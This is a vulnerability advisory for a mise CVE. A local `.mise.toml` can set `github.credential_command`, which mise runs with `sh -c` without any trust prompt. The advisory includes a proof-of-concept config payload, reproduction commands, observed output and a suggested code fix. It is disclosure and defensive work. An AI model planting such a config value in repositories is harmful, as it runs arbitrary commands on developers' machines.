Mise's local credential_command executes untrusted configCVE-2026-55448

### Summary `mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set. The current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`. ### Details The vulnerable load order is: 1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files. 2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted. 3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources. 4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`. The main command-execution path is: ```rust let result = std::process::Command::new("sh") .arg("-c") .arg(cmd) .arg("mise-credential-helper") .arg(host) .output() ``` If a local project file sets: ```toml [settings.github] credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token" ``` then `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute. ### PoC Test environment: - Docker - `linux-arm64` - `mise v2026.3.17` Negative control: ```bash export GITHUB_TOKEN=env_token mise github token --unmask ``` Observed: ```text github.com: env_token (source: GITHUB_TOKEN) /tmp/mise-proof.txt => missing ``` Primary exploit: ```toml [settings.github] credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token" ``` Run: ```bash unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN mise github token --unmask ``` Observed: ```text github.com: ghp_fake_token (source: credential_command) ``` And the side effect file is created: ```text /tmp/mise-proof.txt => credential_command_rce ``` Related version check: - `v2026.3.14`: `credential_command` is rejected as an unknown field - `v2026.3.15`: the same PoC executes and returns `source: credential_command` ### Impact An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings. Demonstrated impact: - arbitrary command execution as the victim user - no trust prompt - no need for `[env]`, `[hooks]`, tasks, or templates Important limitation: - if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached ### Suggested Fix Do not honor `github.credential_command` from non-global project config files. For example, inside `parse_settings_file()`: ```rust pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> { let raw = file::read_to_string(path)?; let settings_file: SettingsFile = toml::from_str(&raw)?; let mut settings = settings_file.settings; if !config::is_global_config(path) { settings.github.credential_command = None; } Ok(settings) } ```

Quoted source text, attributed separately from HOL analysis.